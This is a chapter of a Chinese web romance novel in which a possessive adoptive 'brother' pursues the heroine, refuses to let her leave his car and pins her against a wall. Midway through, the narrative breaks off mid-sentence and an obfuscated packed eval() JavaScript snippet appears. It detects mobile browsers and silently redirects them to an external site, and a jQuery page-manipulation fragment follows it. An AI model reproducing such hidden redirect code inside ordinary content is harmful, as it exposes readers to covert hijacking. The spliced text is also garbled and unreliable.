52. 第 52 章

作品:《姐弟关系禁止事项

    林晚出院那一天,陈屿来接她。


    直到走到地下车库,他们之间都没有太多的沟通。


    林晚走在前面,陈屿沉默地跟在她身后。


    一路无言。


    直到走到陈屿车前,似乎觉得林晚穿得太过单薄,陈屿脱下他身上的皮夹克套在她的身上。


    他内里只穿了一件单薄的白色短袖,透过薄薄的衣料,隐约可见其中肌肉纹理与起伏。又聊胜于无地配了一个银色金属项链,是一个熟悉的花朵形状。


    ——很漂亮的肌肉线条。


    林晚收回视线。


    皮革漆黑硬挺,套在林晚身上有些大,下摆垂到林晚的大腿,有些别扭。


    夹克上有极淡的烟草味和男人的体息。


    林晚不适应地扭了扭肩膀,想要摆脱皮夹克。


    “我不冷。”她看着陈屿,漆黑的瞳孔倒映着地下车库的白炽灯光,很亮也很冷。


    陈屿没有选择开其他过于高调的跑车,而是选择了一辆黑色路虎。


    他看着林晚,没有说话,只是帮她打开副驾驶车门。


    林晚盯着陈屿。


    空旷的地下停车场中,空气有些浑浊,只有头顶的白炽灯照亮狭窄区域。


    两人之间的气氛从原先的假装平静逐渐向某种紧绷过渡。


    林晚小腿绷直站在原地,毫不畏惧地与陈屿对上视线。


    可能因为大病初愈,她的脸上几乎没有一丝血色,苍白得似乎下一秒就会晕厥。


    两人的呼吸声逐渐加重。


    在这样的对峙中。


    陈屿向着林晚走了一步,他的目光沉甸甸地落在她脸上,像有实质的触感,从她轻颤的睫毛,游移到她微微张开的、失了血色的唇。


    林晚立刻向后退。


    纤细柔软的指甲紧紧抓住皮夹克的边缘,她若无其事地坐上车。


    陈屿一手撑在车门,身体微微向前倾,促狭地看着她,眼中是调侃。


    林晚装作没有看见,只是说:“关门吧。”


    耳边是他低沉沉的笑声,林晚目视前方给自己系上安全带。


    直到车辆行驶到主干道,林晚身上的紧绷感才勉强褪去。


    陈屿,太不一样了。


    “你带我去哪里?”


    眼前的道路显得陌生,林晚太久没回来,江城的地标建筑都多了两个。


    “吃饭。”陈屿的态度显得理所当然,手上打着方向盘转过一个路口。


    “就我们两个人?”


    林晚有些不可置信,这人疯了吗?


    “你还希望邀请谁?”陈屿挑眉,自然而然地态度倒显得林晚不正常起来。


    “那就我们两人。”林晚将胳膊伸进皮夹克。


    冻死他得了,她在心里想。


    原以为陈屿刚刚获得国际性的奖项,最近的工作应该是接踵而来,行程应该全球飞。


    但此时此刻他却显得极为悠闲,慢悠悠地开着车,带着她七拐八拐地往城市边缘那一片走。


    也不知道是不是运气不好,一路上几乎都是红灯,林晚都有些恼火了,陈屿却依旧心情不错的模样。


    林晚看了他很多眼,犹豫几次,终于还是问出口。


    “邱思琪退学…到底和你有什么关系?”


    林晚大概猜出当时到底发生了什么,但她始终不愿意相信。


    陈屿轻踩刹车,在绿灯还有三秒时缓缓停下,引得后面车焦急不已,直按喇叭。


    红灯亮起,车子停在马路中间。


    “姐姐,你觉得——和我有什么关系呢?”他双手交叉搭在方向盘,侧脸眼中含笑问她,声音懒懒散散,却像带了钩子一般。


    又来了,又是这个奇怪的称呼。


    林晚觉得自己有些受不住,扭头去看陈屿。


    窗外是阴天,阳光却很强烈,照得人物有些失真。


    “陈屿,你到底是怎样一个人?”林晚喃喃说道。


    “我吗?”陈屿笑。


    “只是你的弟弟呀。”语调轻快,像是毫无烦恼的模样。


    “你真是个疯子!”


    林晚单手撑着自己的头,情绪开始失控。


    窗边的景色闪过,她心中却是一阵阵发寒。


    从陈屿约邱思琪上天台,到邱思琪踏上天台寻死,不过短短两月。她不知道,陈屿究竟用怎样的手段,将原本一个骄傲、爱美的姑娘变成最后见面时疯癫的模样。


    林晚并不是心疼邱思琪,她当时心中甚至产生过类似报复的快感。


    邱思琪擅长笼络人心,企图让全班人孤立自己,让林晚不得不去天台躲起来。这件事情几乎是全班皆知,而陈屿约邱思琪见面的地点正巧是她常去的天台。


    林晚起初认为这是巧合,或者更深一层地想,这是某种划清界限的手段,意味着陈屿打算远离自己。


    这是当时她的想法,但结合最后结果来看,陈屿的目的便显得极为直白。


    他邀功的态度,不断向自己眼前凑,像一只讨主人欢心的小狗。


    陈屿是想惩戒邱思琪,而甚至到现在,他都没有记住邱思琪的名字。


    林晚不知道他原本便是这样,还是自家氛围给他造成了不可逆的影响,促使他变成面目全非的模样。


    清润如竹的外表,以及——泛着黑水的内心。


    “到底是谁教你这么做的,是唐婉琳吗?”林晚不自觉加大音量,胸脯不住地起伏。


    唐婉琳当真是个疯女人,到底和陈屿说了些什么?


    “如果我说是她的话,你会心疼我吗?”


    窗外的光线似乎更强烈了,眼前人物失真得越发厉害,眼前的皮肤显得细白,瞳孔黑漆漆地盯着林晚。


    林晚再次攥起衣角,不知道该怎么回答。


    这个问题实在是怪异极了。


    “姐姐,你会心疼我吗?”陈屿重复她的问题。


    “你是这么想的吗?那以前……”林晚的声音哽住,有些不敢看陈屿现在的模样。


    “是呀,只要藏一藏,就能博得你的喜欢,这难道不是一件极有性价比的事情吗?”


    男人的声音在耳边幽幽响起,意料之外的直白。


    “博得我的喜欢?”林晚惊异他的用词。


    “你是觉得,你做的事情会让我喜欢你吗?”


    “是呀,难道看到那个女生退学,姐姐你不开心吗?”


    陈屿看着林晚,纤长的睫毛垂下,打出一片细腻的阴影。


    “开心?”


    尾音高高的扬起,林晚几乎是气疯了,她真不知道该陈屿怎么会变成眼前的模样。


    “所以,所有的一切,都是你装出来的。”


    林晚努力理清思绪,她的的声音是显而易见的颤抖,连带着她的身体都在不断地打颤。


    陈屿没有回答,目光沉沉看向林晚,其中翻涌着林晚看不懂的神情。


    “让我下车。”


    林晚不打算跟他过多纠缠,他就是一个彻头彻尾的疯子,自己应该快点离开他。


    去英国,现在就去!


    林晚心急如焚地想着。


    “你,现在是在想怎么回英国吗?”男人声音响起,很寡淡的语气,没有什么情绪,像是平静极了的水面。


    “怎么?”林晚忍不住反讽:“你还能限制我的行动吗?”


    “让我下车。”她重复道,加大了声音。


    “不可以哦,我的姐姐。”陈屿的态度依旧显得平静。


    “不要再叫我姐姐,我们根本没有任何血缘关系!”


    林晚极为反感。


    下一秒,绿灯亮起,路虎引擎轰鸣,在大道上疾驰。树影飞速向后闪过,林晚的后背瞬间贴上真皮座椅。


    “陈屿!”她大声喊他的名字。


    “先吃饭。”陈屿没有回头,踩着油门。


    林晚别无他法,只能靠回座位。


    车停在一个山庄的地下停车场。


    一走下车,林晚就将身上的夹克脱下扔给陈屿,穿这样人的衣服,她觉得恶心。


    陈屿将原本脱下的口罩和帽子又带上,只露出一双眼睛。


    地下停车场的空气是凝滞的,带着一股冰冷的、属于水泥和汽油的独特气味。


    林晚扔出衣服的下一秒,身体重心就不受控制地摇晃。


    天旋地转间,她被他抵在墙上,后背抵上有材质粗劣的承重墙,一阵凉意顺着皮肤蔓延,直至心脏。


    因为惊慌,林晚不住地大口喘息,望向陈屿的眼神带着显而易见的慌乱和冰凉。


    大不了到时候鱼死网破,她垂着眼睛想到。


    学了那么久的武术,对付一个看起来弱不禁风的大明星,应当绰绰有余。林晚活动着手腕。


    陈屿动作带着不容质疑的力道,却在最后一瞬克制地留有余地,两人身影在身后粗糙的墙面交叠。


    “你为什么不能接受我?”


    他将头埋在林晚的颈窝,平静地问道。他的手臂撑在她耳侧,肌肉绷紧,小臂上淡青色的血管微微凸起,显出一种隐忍的力量感。


    林晚能清晰感受到水泥柱的粗砺和冰凉,而身前,是他身体散发出的、截然不同的温热。


    这种冷与热的夹击,让她每一寸皮肤都变得异常敏感。


    “你先放开我。”林晚说,她的拳头捏紧,蓄势待发。如果陈屿不放开她,她就要采取强制措施了。


    两人许久未见,她还是不希望两人拳脚相向。


    陈屿没有动,温热的呼吸透过口罩柔和地撒在林晚的颈窝。


    他没有离开,也没有拒绝。


    “你明明也说过喜欢我。我们回到之前那样的关系不好吗?”


    他的声音有些沙哑,低沉沉的,连带着林晚的肩膀有种某种酥麻,叫人疑心他伤心透了。


    林晚喉头梗了梗,终于还是没有将原本的话说出口。


    她捏着拳头放在身侧,听他之后会说些什么。


    “你想去英国,我没有阻止你,你想做任何事情我都可以帮你。任何事情,只要你想做,我都支持。”


    委屈巴巴的语调,依赖的动作。


    如果让顾珠他们见到此刻的陈屿必然大为吃惊,平日无法无天,离经叛道的主,现在居然这副顺从模样。必然大呼吃惊,拔腿就跑。


    要知道,这人不择手段,只为到达自身目的的劲,当时全北京城哪个世家没有尝过那糟心滋味。


    他认定的东西必然攥在手中,死死捏住,不愿意松开半分。


    俗话说,打蛇要打七寸,显然对付林晚,陈屿完全捏住了她的软肋。


    他知道,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16409990|177539||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    林晚她太心软,只要稍微装可怜,就能轻易获得她的原谅和拥抱。正巧,陈屿很乐意在林晚面前扮演一个弱者。


    但是仅仅拥抱,对陈屿来说远远不够。他总想要更深一步,想要得到林晚的全部,靠近她,拥有她。


    ——直至两人完全亲密无间,像根系紧紧纠缠在一起的同根树。这样,他们就可以死都在一起了。


    所以,陈屿需要告白,告诉林晚他心中所想的一切,打破原来的伪装,他们才能更近一步。


    陈屿垂下眼眸,掩住其中汹涌的暗色。


    林晚犹豫了,她原本想要挥向陈屿的手,缓慢松开,搭在他的肩膀上,轻巧地攀附。


    地下停车场显得极为寂静,偶尔有远处车辆轮胎擦过地面的声音。


    两人依靠着彼此,汲取着来自彼此身上的温度,像多年前一样。


    直到远处车辆落锁的声音传来,林晚才梦如初醒般地推开靠在自己身上的陈屿。


    她其实,已经许久未同人拥抱了。一瞬间,林晚的眼神有些飘忽,她不知道应该用哪一种方式对待陈屿了。


    “我们先去吃饭。”她有些懊丧地抚着额头。又被陈屿的外表屏蔽了。


    陈屿再接再厉,手掌绕过林晚的手腕,拉住她的手指,等了几秒,继续向上,完全贴住她的手掌。


    他弯起漂亮的眼眸,看向林晚,显而易见地试探。


    林晚清晰地感知到他的动作,却没有任何拒绝的反应,安静地由陈屿牵着往前走。


    直到乘电梯上楼,林晚才意识到为什么陈屿要开这么久的车带她来这么远的山庄。


    在大厅看见了杨叔的名字,林晚有些哗然。


    他们去吃第一顿饭的私房餐厅就是杨叔开的。


    但她回来时发现那条街已经被拆迁了,建起更具现代风格的街道,规范而普通。


    一模一样的规范招牌,同样的颜色和字体,将每一家店原有的特色尽数掩盖,不再似之前繁华热烈。


    原来杨叔开了一家更大的山庄,林晚莫名有些释然。


    尽管事物总是处于变化之中,不过幸好,有些东西到现在还没变。


    有侍者带着他们走进迎客大堂。


    挑高的楼顶,华丽的水晶灯饰,光线显然经过巧妙折射,在大理石地面上投下斑驳而流动的光影。


    显然认出陈屿的身份,负责接他们的侍者姑娘在看到陈屿的一瞬间激动而兴奋地跳起,连原本严丝合缝待在头顶的帽子都歪了。


    她的职业素养极高,在短暂而澎湃的情绪之后,她迅速恢复侍者的身份,道了声“抱歉”,尽心尽力带他们走比较隐蔽的道路。


    典型的中式庭院设计,曲径通幽,如果没有侍者带领,林晚觉得自己不多时就会在这巨大的庄园迷失。


    “老板再见。”


    负责领路的那个姑娘弯腰说了句再见,就弯腰关上门推出了房间。


    林晚惊讶她的称呼,觉得这姑娘估计是兴奋过了头,喊错了称呼。她抬头看了一眼身边的陈屿,没有说话。


    陈屿倒是饶有趣味地给她解释:“我给杨叔投资了些钱,算入股当股东。”


    说完话,他就紧盯着林晚的表情,熟悉的邀功模样。如果他身后有条尾巴的话,应该会摇晃个不停。


    林晚笑了笑,没搭他的话茬,低头看着周围的环境。


    不知是否是她过于敏感,她总觉得眼前的房间的布局格外眼熟,莫名的熟悉感,似乎她之前来过这里一般。


    林晚蹙起眉头,认真思考自己的感受。


    陈屿走到桌边尽职尽责地帮她拉开椅子,伸手做了一个请的手势。


    林晚没搭理他,到他对面拉开椅子坐下。


    陈屿只是垂眸笑着,语调柔缓:“坐这边的椅子不好吗?来坐这里呀。”


    林晚对着他毫无笑意的扬起唇角。


    “你够了。”她伸手去扯他的衣摆:“坐下。”


    陈屿的动作顿在原地,瞳孔带着不明的情绪看了林晚一眼,接着顺从地坐下。


    这一打岔,将林晚原本那种奇异的熟悉感打散。


    林晚单手撑着头,百无聊赖地再次打量这个房间,还是熟悉,而这种感觉在上菜时到达了顶峰。


    “你有意思吗?”她盯着眼前的黄鱼,抬眼去看对面的男人。


    直到黄鱼上桌,她终于明白那种熟悉感从何而来了。陈屿将当年那顿饭原模原样地复刻到今天。


    一样的陈设,一样的菜单,甚至刚刚的座位都是她六年前坐的地方。


    “只是想讨你欢心。”


    陈屿慢条斯理地说着,用公筷去挑黄鱼的腹部鱼肉。


    “你别碰这个!”林晚动作剧烈地将他的手攥住:“你还想去医院吗?”


    “你还能再陪我去医院吗?”陈屿盯着林晚覆在他手背上的手掌,淡淡地问,一副无关痛痒的模样。


    “你疯了!”林晚几乎气笑了:“把自己弄过敏好让我陪你医院?”


    “不可以吗?”陈屿反问,眼神湿润润地看向林晚。


    “你大可以试试,看看我会不会陪你去。”


    林晚觉得他不可理喻极了,准备将手收回来。


    却又在收回的一瞬间,被另一只指节分明的手握住。


    相触的皮肤,有热意传来。